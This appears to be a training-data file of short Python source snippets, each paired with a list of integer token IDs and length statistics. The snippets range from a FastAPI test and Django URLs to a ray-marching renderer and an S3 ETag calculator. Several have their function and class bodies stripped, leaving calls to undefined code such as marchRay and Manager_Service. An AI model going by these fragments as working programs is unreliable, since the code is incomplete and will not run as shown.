[ 2, 16529, 32501, 198, 2, 15069, 357, 66, 8, 1853, 11, 29737, 350, 13, 13876, 70, 959, 13, 1439, 6923, 33876, 13, 198, 2, 4307, 6169, 739, 262, 357, 3605, 8, 347, 10305, 13789, 13, 4091, 38559, 24290, 13, 14116, 329, 517, 7508, 13, 198, 2, 16529, 32501, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 198, 2, 968, 3785, 351, 2330, 4469, 198, 5647, 796, 458, 83, 13, 26875, 7, 5647, 7857, 16193, 21, 11, 21, 828, 1986, 8043, 11639, 11186, 11537, 198, 198, 2, 968, 16488, 625, 262, 2187, 3785, 392, 257, 352, 25, 16, 4843, 8064, 198, 897, 796, 2336, 13, 2860, 62, 897, 274, 26933, 15, 13, 22544, 11, 15, 13, 22544, 38508, 2079, 38508, 2079, 4357, 5739, 261, 28, 17821, 11, 4843, 28, 16, 8, 198, 198, 2, 7913, 286, 5858, 198, 77, 796, 2026, 198, 7857, 62, 1084, 796, 2026, 198, 7857, 62, 9806, 796, 2026, 9, 1120, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 2, 12569, 2292, 220, 198, 47, 796, 45941, 13, 25120, 13, 403, 6933, 7, 15, 11, 16, 11, 7, 77, 11, 17, 4008, 198, 198, 2, 12569, 7577, 198, 34, 796, 45941, 13, 1952, 19510, 77, 11, 19, 4008, 1635, 357, 15, 11, 15, 11, 15, 11, 16, 8, 198, 198, 2, 12995, 3124, 6518, 2925, 422, 657, 357, 7645, 8000, 8, 284, 352, 357, 404, 18251, 8, 198, 34, 58, 45299, 18, 60, 796, 45941, 13, 21602, 10223, 7, 15, 11, 16, 11, 77, 8, 198, 198, 2, 12569, 10620, 198, 50, 796, 45941, 13, 21602, 10223, 7, 7857, 62, 1084, 11, 2546, 62, 9806, 11, 299, 8, 198, 198, 2, 1446, 1436, 7110, 198, 1416, 265, 796, 7877, 13, 1416, 1436, 7, 47, 58, 45299, 15, 4357, 350, 58, 45299, 16, 4357, 264, 28, 50, 11, 300, 86, 796, 657, 13, 20, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5743, 4033, 669, 796, 327, 11, 1986, 4033, 669, 11639, 14202, 11537, 198, 198, 2, 48987, 7095, 389, 685, 15, 11, 16, 60, 290, 4781, 36066, 198, 897, 13, 2617, 62, 87, 2475, 7, 15, 11, 16, 828, 7877, 13, 2617, 62, 742, 3378, 26933, 12962, 198, 897, 13, 2617, 62, 88, 2475, 7, 15, 11, 16, 828, 7877, 13, 2617, 62, 20760, 3378, 26933, 12962, 198, 198, 2, 458, 83, 13, 21928, 5647, 7203, 40720, 5647, 942, 14, 3201, 12, 12708, 13, 11134, 1600, 67, 14415, 28, 4761, 8, 198, 489, 83, 13, 12860, 3419, 198 ]
2.66055
436
"""Main application unittests.""" from fastapi.testclient import TestClient from app.main import app client = TestClient(app) def test_docs(): """Return HTML docs for root route.""" response = client.get('/') assert response.status_code == 200 assert response.headers['content-type'].startswith('text/html')
[ 37811, 13383, 3586, 555, 715, 3558, 526, 15931, 198, 6738, 3049, 15042, 13, 9288, 16366, 1330, 6208, 11792, 198, 198, 6738, 598, 13, 12417, 1330, 598, 198, 198, 16366, 796, 6208, 11792, 7, 1324, 8, 628, 198, 4299, 1332, 62, 31628, 33529, 198, 220, 220, 220, 37227, 13615, 11532, 34165, 329, 6808, 6339, 526, 15931, 198, 220, 220, 220, 2882, 796, 5456, 13, 1136, 10786, 14, 11537, 198, 220, 220, 220, 6818, 2882, 13, 13376, 62, 8189, 6624, 939, 198, 220, 220, 220, 6818, 2882, 13, 50145, 17816, 11299, 12, 4906, 6, 4083, 9688, 2032, 342, 10786, 5239, 14, 6494, 11537, 198 ]
3.215686
102
from gazette.spiders.base import FecamGazetteSpider
[ 6738, 308, 1031, 5857, 13, 2777, 4157, 13, 8692, 1330, 376, 721, 321, 38, 1031, 5857, 41294, 628 ]
2.944444
18
import config import json import traceback import requests # maximum length of an error message to be stored # excessive error messages might make it properly to the manager MAX_ERROR_LENGTH = 2 * 1024 * 1024 # create an instance for export Manager = Manager_Service()
[ 11748, 4566, 198, 11748, 33918, 198, 11748, 12854, 1891, 198, 11748, 7007, 198, 198, 2, 5415, 4129, 286, 281, 4049, 3275, 284, 307, 8574, 198, 2, 13181, 4049, 6218, 1244, 787, 340, 6105, 284, 262, 4706, 198, 22921, 62, 24908, 62, 43, 49494, 796, 362, 1635, 28119, 1635, 28119, 628, 198, 198, 2, 2251, 281, 4554, 329, 10784, 198, 13511, 796, 9142, 62, 16177, 3419, 198 ]
4.136364
66
import argparse import os from bld2repo import (get_buildrequire_pkgs_from_build, add_rpm_urls, rpm_bulk_download, create_repo) from bld2repo.config import Config from bld2repo.utils import get_koji_session if __name__ == "__main__": main()
[ 11748, 1822, 29572, 198, 11748, 28686, 198, 198, 6738, 275, 335, 17, 260, 7501, 1330, 357, 1136, 62, 11249, 46115, 62, 35339, 82, 62, 6738, 62, 11249, 11, 751, 62, 48235, 62, 6371, 82, 11, 37542, 62, 65, 12171, 62, 15002, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2251, 62, 260, 7501, 8, 198, 6738, 275, 335, 17, 260, 7501, 13, 11250, 1330, 17056, 198, 6738, 275, 335, 17, 260, 7501, 13, 26791, 1330, 651, 62, 7204, 7285, 62, 29891, 628, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 1388, 3419, 628 ]
2.353448
116
from rllab.envs.mujoco.gather.gather_env import GatherEnv from sandbox.finetuning.envs.mujoco.swimmer_unevenfloor_env import SwimmerUnevenFloorEnv if __name__ == "__main__": env = SwimmerGatherUnevenFloorEnv() while True: env.reset() for _ in range(1000): env.render() _, reward, _, _ = env.step(env.action_space.sample()) # take a random action # env.reset() # frames = [] # for i in range(5): # print(i) # frames.append(env.render(mode='rgb_array')) # _, reward, _, _ = env.step(env.action_space.sample()) # take a random action # # import skvideo.io # import numpy as np # output_data = np.array(frames) # import IPython; IPython.embed() # output_data = output_data.astype(np.uint8) # import os.path as osp # import rllab.config as config # # output_path = osp.join(config.PROJECT_PATH, "data/local/outputvideo.mp4") # skvideo.io.vwrite(output_path, output_data)
[ 6738, 374, 297, 397, 13, 268, 14259, 13, 76, 23577, 25634, 13, 70, 1032, 13, 70, 1032, 62, 24330, 1330, 402, 1032, 4834, 85, 198, 6738, 35204, 13, 15643, 316, 46493, 13, 268, 14259, 13, 76, 23577, 25634, 13, 2032, 10957, 62, 1726, 574, 28300, 62, 24330, 1330, 2451, 10957, 52, 710, 574, 7414, 2675, 4834, 85, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 17365, 796, 2451, 10957, 38, 1032, 52, 710, 574, 7414, 2675, 4834, 85, 3419, 198, 220, 220, 220, 981, 6407, 25, 198, 220, 220, 220, 220, 220, 220, 220, 17365, 13, 42503, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 329, 4808, 287, 2837, 7, 12825, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 17365, 13, 13287, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 11, 6721, 11, 4808, 11, 4808, 796, 17365, 13, 9662, 7, 24330, 13, 2673, 62, 13200, 13, 39873, 28955, 220, 1303, 1011, 257, 4738, 2223, 198, 220, 220, 220, 1303, 17365, 13, 42503, 3419, 198, 220, 220, 220, 1303, 13431, 796, 17635, 198, 220, 220, 220, 1303, 329, 1312, 287, 2837, 7, 20, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 3601, 7, 72, 8, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 13431, 13, 33295, 7, 24330, 13, 13287, 7, 14171, 11639, 81, 22296, 62, 18747, 6, 4008, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 4808, 11, 6721, 11, 4808, 11, 4808, 796, 17365, 13, 9662, 7, 24330, 13, 2673, 62, 13200, 13, 39873, 28955, 220, 1303, 1011, 257, 4738, 2223, 198, 220, 220, 220, 1303, 198, 220, 220, 220, 1303, 1330, 1341, 15588, 13, 952, 198, 220, 220, 220, 1303, 1330, 299, 32152, 355, 45941, 198, 220, 220, 220, 1303, 5072, 62, 7890, 796, 45941, 13, 18747, 7, 37805, 8, 198, 220, 220, 220, 1303, 1330, 6101, 7535, 26, 6101, 7535, 13, 20521, 3419, 198, 220, 220, 220, 1303, 5072, 62, 7890, 796, 5072, 62, 7890, 13, 459, 2981, 7, 37659, 13, 28611, 23, 8, 198, 220, 220, 220, 1303, 1330, 28686, 13, 6978, 355, 267, 2777, 198, 220, 220, 220, 1303, 1330, 374, 297, 397, 13, 11250, 355, 4566, 198, 220, 220, 220, 1303, 198, 220, 220, 220, 1303, 5072, 62, 6978, 796, 267, 2777, 13, 22179, 7, 11250, 13, 31190, 23680, 62, 34219, 11, 366, 7890, 14, 12001, 14, 22915, 15588, 13, 3149, 19, 4943, 198, 220, 220, 220, 1303, 1341, 15588, 13, 952, 13, 85, 13564, 7, 22915, 62, 6978, 11, 5072, 62, 7890, 8 ]
2.291954
435
from django.conf.urls import url from . import views urlpatterns = [ url(r'^(?P<strategy_name>[-\w]+)/(?P<pk>\d+)/$', views.AjaxBaseSerializedView.as_view(), name='django-easy-ajax-selector'), ]
[ 6738, 42625, 14208, 13, 10414, 13, 6371, 82, 1330, 19016, 198, 198, 6738, 764, 1330, 5009, 628, 198, 6371, 33279, 82, 796, 685, 198, 220, 220, 220, 19016, 7, 81, 6, 61, 7, 30, 47, 27, 2536, 4338, 62, 3672, 36937, 12, 59, 86, 48688, 20679, 7, 30, 47, 27, 79, 74, 29, 59, 67, 10, 20679, 3, 3256, 5009, 13, 32, 73, 897, 14881, 32634, 1143, 7680, 13, 292, 62, 1177, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 1438, 11639, 28241, 14208, 12, 38171, 12, 1228, 897, 12, 19738, 273, 33809, 198, 60, 198 ]
2.164948
97
import copy import math import numpy from tqdm import tqdm import matplotlib.pyplot as plt #A class for three-dimentional vector operations; using numpy arrays and their operations was found to be slower. #Returns the unit vector pointing from the location represented by fromVector to the location represented by toVector. #Returns the direction that the original ray used in rayMarch should be in in order to correspond to a certain pixel in the image given by the coordinates #pixelX,pixelY. The camera is assumed to be a pinhole comera with an infinitely small aperture. #An infinite flat plane described by the equation ax+by+cz+d=0 #Determines the total intensity of red, green and blue light impacting point rayOrigin using the ray marching algorithm. aspectRatio=1.0 imageHeight=50 imageWidth=int(aspectRatio*imageHeight) fieldOfView=math.pi/2.0 cameraLocation=Vector3D(0.0,0.0,0.0) screenDistance=(0.5*aspectRatio)/(math.tan(fieldOfView/2.0)) #The screen is assumed to have a height of 1 unit, meaning that it's width is equal to "aspectRatio". imageData=numpy.zeros(shape=(imageHeight,imageWidth,3)) minimumCollisionDistance=0.005 maximumRayMarchStepCount=400 maximumRayMarchDistance=300.0 maximumRecursiveDepth=7 minimiseDiffuseInterreflections=True #The scene is created below ground=Plane(a=0.0,b=1.0,c=0.0,location=Vector3D(0.0,-2.0,0.0),colour=Vector3D(255.0,70.0,40.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) backWall=Plane(a=0.0,b=0.0,c=-1.0,location=Vector3D(0.0,0.0,40.0),colour=Vector3D(170.0,180.0,250.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) leftWall=Plane(a=1.0,b=0.0,c=0.0,location=Vector3D(-20.0,0.0,-0.0),colour=Vector3D(230.0,240.0,50.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) rightWall=Plane(a=-1.0,b=0.0,c=0.0,location=Vector3D(20.0,0.0,20.0),colour=Vector3D(230.0,240.0,50.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) frontWall=Plane(a=0.0,b=0.0,c=1.0,location=Vector3D(0.0,0.0,-40.0),colour=Vector3D(100.0,190.0,170.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) topLight=Plane(a=0.0,b=-1.0,c=0.0,location=Vector3D(0.0,30.0,0.0),colour=Vector3D(255.0,255.0,255.0),diffuse=True,refractiveIndex=1.0,brightness=1.0) sphere1=Sphere(location=Vector3D(-2.0,-0.25,5.0),radius=1.5,colour=Vector3D(215.0,250.0,190.0),diffuse=False,refractiveIndex=1.5,brightness=0.0) sphere2=Sphere(location=Vector3D(0.5,1.0,6.0),radius=1.2,colour=Vector3D(255.0,255.0,255.0),diffuse=False,refractiveIndex=100.0,brightness=0.0) sphere3=Sphere(location=Vector3D(1.5,0.6,3.0),radius=0.5,colour=Vector3D(80.0,40.0,120.0),diffuse=True,refractiveIndex=1.0,brightness=0.0) sphereLight1=Sphere(location=Vector3D(15.0,8.0,-5.0),radius=0.01,colour=Vector3D(255.0,255.0,255.0),diffuse=True,refractiveIndex=1.0,brightness=2500000.0) objectList=[ground,backWall,leftWall,rightWall,frontWall,topLight,sphere1,sphere2,sphere3,sphereLight1] #These loop through every pixel in the image. for pixelX in tqdm(range(0,imageWidth)): for pixelY in range(0,imageHeight): currentPixelColour=Vector3D(0.0,0.0,0.0) rayDirection=getCameraRayUnitVector(pixelX=pixelX,pixelY=pixelY,imageWidth=imageWidth,imageHeight=imageHeight,cameraLocation=cameraLocation, aspectRatio=aspectRatio,screenDistance=screenDistance) currentPixelColour+=marchRay(currentRecursiveDepth=0,rayOrigin=cameraLocation,originObject=None,rayDirection=rayDirection,objectList=objectList, minimumCollisionDistance=minimumCollisionDistance,maximumRayMarchStepCount=maximumRayMarchStepCount,maximumRayMarchDistance=maximumRayMarchDistance, maximumRecursiveDepth=maximumRecursiveDepth,minimiseDiffuseInterreflections=minimiseDiffuseInterreflections) imageData[(imageHeight-1)-pixelY,pixelX,:]=[currentPixelColour.x,currentPixelColour.y,currentPixelColour.z] #Y axis is inverted so the image is displayed the correct way up while using imshow(). #The RGB intensity values are scaled from 0 to 1 so they can be interpreted correctly by the imshow() function. imageDataMaximumValue=numpy.amax(imageData) imageData/=imageDataMaximumValue plt.imshow(imageData) plt.show()
[ 11748, 4866, 201, 198, 11748, 10688, 201, 198, 11748, 299, 32152, 201, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 201, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 201, 198, 201, 198, 201, 198, 2, 32, 1398, 329, 1115, 12, 27740, 1463, 282, 15879, 4560, 26, 1262, 299, 32152, 26515, 290, 511, 4560, 373, 1043, 284, 307, 13611, 13, 201, 198, 220, 220, 220, 220, 201, 198, 220, 220, 220, 220, 201, 198, 220, 220, 220, 220, 201, 198, 2, 35561, 262, 4326, 15879, 10609, 422, 262, 4067, 7997, 416, 422, 38469, 284, 262, 4067, 7997, 416, 284, 38469, 13, 201, 198, 201, 198, 2, 35561, 262, 4571, 326, 262, 2656, 26842, 973, 287, 26842, 16192, 815, 307, 287, 287, 1502, 284, 6053, 284, 257, 1728, 17465, 287, 262, 2939, 1813, 416, 262, 22715, 201, 198, 2, 32515, 55, 11, 32515, 56, 13, 383, 4676, 318, 9672, 284, 307, 257, 6757, 13207, 401, 8607, 351, 281, 32264, 1402, 32729, 13, 201, 198, 201, 198, 201, 198, 201, 198, 2, 2025, 15541, 6228, 6614, 3417, 416, 262, 16022, 7877, 10, 1525, 10, 26691, 10, 67, 28, 15, 201, 198, 220, 220, 220, 220, 201, 198, 220, 220, 220, 220, 201, 198, 220, 201, 198, 220, 220, 220, 220, 201, 198, 201, 198, 220, 220, 220, 220, 201, 198, 2, 35, 13221, 274, 262, 2472, 12245, 286, 2266, 11, 4077, 290, 4171, 1657, 40288, 966, 26842, 39688, 1262, 262, 26842, 26409, 11862, 13, 220, 201, 198, 201, 198, 201, 198, 201, 198, 220, 220, 220, 220, 201, 198, 292, 806, 29665, 952, 28, 16, 13, 15, 201, 198, 9060, 23106, 28, 1120, 201, 198, 9060, 30916, 28, 600, 7, 292, 806, 29665, 952, 9, 9060, 23106, 8, 201, 198, 3245, 5189, 7680, 28, 11018, 13, 14415, 14, 17, 13, 15, 201, 198, 25695, 14749, 28, 38469, 18, 35, 7, 15, 13, 15, 11, 15, 13, 15, 11, 15, 13, 15, 8, 201, 198, 9612, 45767, 16193, 15, 13, 20, 9, 292, 806, 29665, 952, 20679, 7, 11018, 13, 38006, 7, 3245, 5189, 7680, 14, 17, 13, 15, 4008, 1303, 464, 3159, 318, 9672, 284, 423, 257, 6001, 286, 352, 4326, 11, 3616, 326, 340, 338, 9647, 318, 4961, 284, 366, 292, 806, 29665, 952, 1911, 201, 198, 9060, 6601, 28, 77, 32152, 13, 9107, 418, 7, 43358, 16193, 9060, 23106, 11, 9060, 30916, 11, 18, 4008, 201, 198, 201, 198, 39504, 22667, 1166, 45767, 28, 15, 13, 22544, 201, 198, 47033, 19591, 16192, 8600, 12332, 28, 7029, 201, 198, 47033, 19591, 16192, 45767, 28, 6200, 13, 15, 201, 198, 47033, 6690, 30753, 48791, 28, 22, 201, 198, 1084, 320, 786, 28813, 1904, 9492, 5420, 26448, 28, 17821, 201, 198, 220, 220, 220, 201, 198, 201, 198, 201, 198, 2, 464, 3715, 318, 2727, 2174, 201, 198, 2833, 28, 3646, 1531, 7, 64, 28, 15, 13, 15, 11, 65, 28, 16, 13, 15, 11, 66, 28, 15, 13, 15, 11, 24886, 28, 38469, 18, 35, 7, 15, 13, 15, 12095, 17, 13, 15, 11, 15, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 13381, 13, 15, 11, 2154, 13, 15, 11, 1821, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 1891, 22401, 28, 3646, 1531, 7, 64, 28, 15, 13, 15, 11, 65, 28, 15, 13, 15, 11, 66, 10779, 16, 13, 15, 11, 24886, 28, 38469, 18, 35, 7, 15, 13, 15, 11, 15, 13, 15, 11, 1821, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 17279, 13, 15, 11, 15259, 13, 15, 11, 9031, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 9464, 22401, 28, 3646, 1531, 7, 64, 28, 16, 13, 15, 11, 65, 28, 15, 13, 15, 11, 66, 28, 15, 13, 15, 11, 24886, 28, 38469, 18, 35, 32590, 1238, 13, 15, 11, 15, 13, 15, 12095, 15, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 19214, 13, 15, 11, 16102, 13, 15, 11, 1120, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 3506, 22401, 28, 3646, 1531, 7, 64, 10779, 16, 13, 15, 11, 65, 28, 15, 13, 15, 11, 66, 28, 15, 13, 15, 11, 24886, 28, 38469, 18, 35, 7, 1238, 13, 15, 11, 15, 13, 15, 11, 1238, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 19214, 13, 15, 11, 16102, 13, 15, 11, 1120, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 8534, 22401, 28, 3646, 1531, 7, 64, 28, 15, 13, 15, 11, 65, 28, 15, 13, 15, 11, 66, 28, 16, 13, 15, 11, 24886, 28, 38469, 18, 35, 7, 15, 13, 15, 11, 15, 13, 15, 12095, 1821, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 3064, 13, 15, 11, 19782, 13, 15, 11, 17279, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 4852, 15047, 28, 3646, 1531, 7, 64, 28, 15, 13, 15, 11, 65, 10779, 16, 13, 15, 11, 66, 28, 15, 13, 15, 11, 24886, 28, 38469, 18, 35, 7, 15, 13, 15, 11, 1270, 13, 15, 11, 15, 13, 15, 828, 49903, 28, 38469, 18, 35, 7, 13381, 13, 15, 11, 13381, 13, 15, 11, 13381, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 16, 13, 15, 8, 201, 198, 201, 198, 2777, 1456, 16, 28, 38882, 7, 24886, 28, 38469, 18, 35, 32590, 17, 13, 15, 12095, 15, 13, 1495, 11, 20, 13, 15, 828, 42172, 28, 16, 13, 20, 11, 49903, 28, 38469, 18, 35, 7, 23349, 13, 15, 11, 9031, 13, 15, 11, 19782, 13, 15, 828, 26069, 1904, 28, 25101, 11, 5420, 35587, 15732, 28, 16, 13, 20, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 2777, 1456, 17, 28, 38882, 7, 24886, 28, 38469, 18, 35, 7, 15, 13, 20, 11, 16, 13, 15, 11, 21, 13, 15, 828, 42172, 28, 16, 13, 17, 11, 49903, 28, 38469, 18, 35, 7, 13381, 13, 15, 11, 13381, 13, 15, 11, 13381, 13, 15, 828, 26069, 1904, 28, 25101, 11, 5420, 35587, 15732, 28, 3064, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 2777, 1456, 18, 28, 38882, 7, 24886, 28, 38469, 18, 35, 7, 16, 13, 20, 11, 15, 13, 21, 11, 18, 13, 15, 828, 42172, 28, 15, 13, 20, 11, 49903, 28, 38469, 18, 35, 7, 1795, 13, 15, 11, 1821, 13, 15, 11, 10232, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 15, 13, 15, 8, 201, 198, 2777, 1456, 15047, 16, 28, 38882, 7, 24886, 28, 38469, 18, 35, 7, 1314, 13, 15, 11, 23, 13, 15, 12095, 20, 13, 15, 828, 42172, 28, 15, 13, 486, 11, 49903, 28, 38469, 18, 35, 7, 13381, 13, 15, 11, 13381, 13, 15, 11, 13381, 13, 15, 828, 26069, 1904, 28, 17821, 11, 5420, 35587, 15732, 28, 16, 13, 15, 11, 29199, 1108, 28, 1495, 20483, 13, 15, 8, 220, 201, 198, 220, 220, 220, 201, 198, 15252, 8053, 41888, 2833, 11, 1891, 22401, 11, 9464, 22401, 11, 3506, 22401, 11, 8534, 22401, 11, 4852, 15047, 11, 2777, 1456, 16, 11, 2777, 1456, 17, 11, 2777, 1456, 18, 11, 2777, 1456, 15047, 16, 60, 201, 198, 201, 198, 201, 198, 2, 4711, 9052, 832, 790, 17465, 287, 262, 2939, 13, 201, 198, 1640, 17465, 55, 287, 256, 80, 36020, 7, 9521, 7, 15, 11, 9060, 30916, 8, 2599, 201, 198, 220, 220, 220, 329, 17465, 56, 287, 2837, 7, 15, 11, 9060, 23106, 2599, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1459, 40809, 5216, 454, 28, 38469, 18, 35, 7, 15, 13, 15, 11, 15, 13, 15, 11, 15, 13, 15, 8, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26842, 35, 4154, 28, 1136, 35632, 19591, 26453, 38469, 7, 32515, 55, 28, 32515, 55, 11, 32515, 56, 28, 32515, 56, 11, 9060, 30916, 28, 9060, 30916, 11, 9060, 23106, 28, 9060, 23106, 11, 25695, 14749, 28, 25695, 14749, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4843, 29665, 952, 28, 292, 806, 29665, 952, 11, 9612, 45767, 28, 9612, 45767, 8, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1459, 40809, 5216, 454, 47932, 76, 998, 19591, 7, 14421, 6690, 30753, 48791, 28, 15, 11, 2433, 39688, 28, 25695, 14749, 11, 47103, 10267, 28, 14202, 11, 2433, 35, 4154, 28, 2433, 35, 4154, 11, 15252, 8053, 28, 15252, 8053, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5288, 22667, 1166, 45767, 28, 39504, 22667, 1166, 45767, 11, 47033, 19591, 16192, 8600, 12332, 28, 47033, 19591, 16192, 8600, 12332, 11, 47033, 19591, 16192, 45767, 28, 47033, 19591, 16192, 45767, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5415, 6690, 30753, 48791, 28, 47033, 6690, 30753, 48791, 11, 1084, 320, 786, 28813, 1904, 9492, 5420, 26448, 28, 1084, 320, 786, 28813, 1904, 9492, 5420, 26448, 8, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2939, 6601, 58, 7, 9060, 23106, 12, 16, 13219, 32515, 56, 11, 32515, 55, 11, 25, 22241, 58, 14421, 40809, 5216, 454, 13, 87, 11, 14421, 40809, 5216, 454, 13, 88, 11, 14421, 40809, 5216, 454, 13, 89, 60, 1303, 56, 16488, 318, 37204, 523, 262, 2939, 318, 9066, 262, 3376, 835, 510, 981, 1262, 545, 12860, 22446, 201, 198, 201, 198, 201, 198, 2, 464, 25228, 12245, 3815, 389, 27464, 422, 657, 284, 352, 523, 484, 460, 307, 16173, 9380, 416, 262, 545, 12860, 3419, 2163, 13, 201, 198, 9060, 6601, 40541, 11395, 28, 77, 32152, 13, 321, 897, 7, 9060, 6601, 8, 201, 198, 9060, 6601, 14, 28, 9060, 6601, 40541, 11395, 201, 198, 220, 220, 220, 220, 220, 220, 220, 220, 201, 198, 489, 83, 13, 320, 12860, 7, 9060, 6601, 8, 201, 198, 489, 83, 13, 12860, 3419 ]
2.378174
1,851
#// Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. #// SPDX-License-Identifier: MIT-0 import sys import hashlib if len(sys.argv) !=3: print("Usage: calc-s3-etag.py {file} {multipart-transfer size}") print("") print("Multipart transfersize may be gotten by referencing the .aws/config file or by using the following example commands to examine a large object uploaded to the SBE") print("aws s3api head-object --bucket {bucketname} --key \"[prefix/]{objectname}\" --endpoint-url {url to SBE device including port}") print("take the resulting content length and divide it by the number after the dash in the Etag. Take that result and divide it by 1048576") print("the result will be slightly below the multi-part transfer chunk size measured in MB utilized in the transfer") sys.exit(0) mychunksize=int(sys.argv[2]) * 1024 * 1024 print(calculate_s3_etag(sys.argv[1],mychunksize))
[ 2, 1003, 15069, 6186, 13, 785, 11, 3457, 13, 393, 663, 29116, 13, 1439, 6923, 33876, 13, 198, 2, 1003, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 17168, 12, 15, 198, 198, 11748, 25064, 198, 11748, 12234, 8019, 198, 361, 18896, 7, 17597, 13, 853, 85, 8, 14512, 18, 25, 198, 220, 220, 220, 3601, 7203, 28350, 25, 42302, 12, 82, 18, 12, 316, 363, 13, 9078, 1391, 7753, 92, 1391, 16680, 541, 433, 12, 39437, 2546, 92, 4943, 198, 220, 220, 220, 3601, 7203, 4943, 198, 220, 220, 220, 3601, 7203, 15205, 541, 433, 16395, 1096, 743, 307, 7891, 416, 32578, 262, 764, 8356, 14, 11250, 2393, 393, 416, 1262, 262, 1708, 1672, 9729, 284, 10716, 257, 1588, 2134, 19144, 284, 262, 311, 12473, 4943, 198, 220, 220, 220, 3601, 7203, 8356, 264, 18, 15042, 1182, 12, 15252, 1377, 27041, 316, 1391, 27041, 316, 3672, 92, 1377, 2539, 3467, 17912, 40290, 14, 60, 90, 15252, 3672, 92, 7879, 1377, 437, 4122, 12, 6371, 1391, 6371, 284, 311, 12473, 3335, 1390, 2493, 92, 4943, 198, 220, 220, 220, 3601, 7203, 20657, 262, 7186, 2695, 4129, 290, 14083, 340, 416, 262, 1271, 706, 262, 14470, 287, 262, 412, 12985, 13, 220, 7214, 326, 1255, 290, 14083, 340, 416, 838, 2780, 37452, 4943, 198, 220, 220, 220, 3601, 7203, 1169, 1255, 481, 307, 4622, 2174, 262, 5021, 12, 3911, 4351, 16058, 2546, 8630, 287, 10771, 21487, 287, 262, 4351, 4943, 198, 220, 220, 220, 25064, 13, 37023, 7, 15, 8, 198, 1820, 354, 14125, 1096, 28, 600, 7, 17597, 13, 853, 85, 58, 17, 12962, 1635, 28119, 1635, 28119, 198, 4798, 7, 9948, 3129, 378, 62, 82, 18, 62, 316, 363, 7, 17597, 13, 853, 85, 58, 16, 4357, 1820, 354, 14125, 1096, 4008, 198 ]
3.159864
294
from startmicro.utils.version import get_version VERSION = (0, 0, 6, 'alpha', 0) __version__ = get_version(VERSION) __author__ = "Munis Isazade <[email protected]>"
